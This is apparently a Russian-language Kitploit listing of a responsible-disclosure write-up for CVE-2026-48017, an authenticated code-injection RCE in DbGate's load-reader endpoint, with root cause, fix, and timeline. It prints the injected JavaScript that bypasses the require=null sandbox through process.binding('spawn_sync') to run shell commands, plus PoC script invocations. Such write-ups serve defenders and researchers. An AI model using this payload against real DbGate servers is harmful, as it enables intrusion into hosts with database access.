Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-48017 — Удаленное выполнение кода в DbGate через инъекцию functionName в конечной точке loadReader — CVSS 8.8 | Kitploit
Инструменты/GitHubGitHub/romain-deperne/cve-2026-48017
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеРазработка Полезной Нагрузки
GitHubromain-deperne/cve-2026-48017

CVE-2026-48017

Удаленное выполнение кода в DbGate через инъекцию functionName в конечной точке loadReader — CVSS 8.8

Репозиторий
52 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-48017 — Удаленное выполнение кода в DbGate через инъекцию functionName

Серьезность: Высокая (CVSS 8.8) CWE: CWE-94 — Неправильный контроль генерации кода ('Внедрение кода') Затронуто: dbgate-api ≤ 7.1.8 (исправлено в 7.1.9) Уведомление: GHSA-hv83-ggc4-v385 NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-48017 Автор: Romain Deperne

TL;DR

Точка входа POST /runners/load-reader принимает параметр functionName и вставляет его напрямую в JavaScript шаблонную строку, которая затем выполняется в форкнутом процессе — без какой-либо санитации или проверки. Любой аутентифицированный пользователь (без специальных разрешений) может выйти за пределы предполагаемого вызова и выполнить произвольный JavaScript, получив удаленное выполнение кода на сервере.

Форкнутый раннер устанавливает require = null в качестве песочницы, но это легко обходится: все еще доступен и запускает реальный системный процесс.

process.binding("spawn_sync")

Как я это нашел

Я проводил аудит подсистемы раннеров DbGate на предмет разрыва между защищенными и незащищенными путями выполнения кода. Раннер start() в runners.js:292 правильно защищен — он вызывает testStandardPermission('run-shell-script') и проверяет platformInfo.allowShellScripting.

loadReader() делает концептуально похожую вещь (он создает и запускает JS-скрипт загрузчика), но не имеет ни одной из этих проверок. Я проследил поток данных:

root@kitploit:~
runners.js:353  loadReader({ functionName, props })
runners.js:366  loaderScriptTemplate(prefix, functionName, ...)
runners.js:64   `... ${compileShellApiFunctionName(functionName)}(${JSON.stringify(props)});`
packageTools.ts:33  return `dbgateApi.${functionName}`   // ← нет санитации

functionName контролируется атакующим и попадает внутрь выполняемой шаблонной строки. Префикс dbgateApi. — единственное, что стоит перед ним, и его можно обойти: закрыв выражение с помощью toString();, внедрив полезную нагрузку и закомментировав завершающую часть (${props}) с помощью //, получаем корректный JavaScript.

Затронутый компонент

Файл: packages/api/src/controllers/runners.js (loadReader → loaderScriptTemplate) Файл: packages/tools/src/packageTools.ts:33 (compileShellApiFunctionName)

root@kitploit:~
// packageTools.ts:33 — functionName поступает без санитации
return `dbgateApi.${functionName}`;

// runners.js:64 — интерполируется в выполняемый шаблон загрузчика
`const reader = await ${compileShellApiFunctionName(functionName)}(${JSON.stringify(props)});`

Сгенерированный (внедренный) скрипт:

root@kitploit:~
const reader = await dbgateApi.toString();
process.binding("spawn_sync").spawn({ file:"/bin/sh", args:["/bin/sh","-c","id"], ... });
dbgateApi.toString//({});

Коренная причина

compileShellApiFunctionName() был написан для преобразования короткого имени в полный путь API (dbgateApi.<name>), неявно доверяя, что functionName является идентификатором. Однако значение поступает напрямую из тела HTTP-запроса. Поскольку оно конкатенируется в исходный код, который затем выполняется через eval/форкается, такое доверие приводит к RCE. Песочница require = null не помогает — внутренний process.binding("spawn_sync") в Node ее обходит.

Исправление (7.1.9): проверять functionName на соответствие строгому списку разрешенных идентификаторов перед компиляцией в скрипт загрузчика.

Доказательство концепции

poc/rce_loadreader_functionname_injection.py — управляет реальной конечной точкой от начала до конца.

root@kitploit:~
# с существующим JWT
python3 poc/rce_loadreader_functionname_injection.py http://localhost:3000 <JWT> 'id > /tmp/pwned'

# или сначала войти
python3 poc/rce_loadreader_functionname_injection.py http://localhost:3000 --login admin password 'id'

Скрипт формирует полезную нагрузку functionName, отправляет ее на POST /runners/load-reader, и внедренный вызов spawn_sync выполняет команду в форкнутом процессе раннера.

Временная шкала раскрытия

  • Сообщено конфиденциально мейнтейнеру через уведомление о безопасности GitHub
  • Исправлено в DbGate 7.1.9
  • Уведомление GHSA-hv83-ggc4-v385 опубликовано 2026-05-22; присвоен CVE-2026-48017

Воздействие

Аутентифицированное RCE на хосте API DbGate. DbGate — это графический интерфейс управления базами данных, часто развертываемый с широким сетевым доступом к внутренним базам данных — выполнение кода на нем является мощной точкой для перехода к уровню данных.


Раскрыто ответственно. PoC опубликован после выпуска исправления для защитников и инженеров по обнаружению.

Скачать инструмент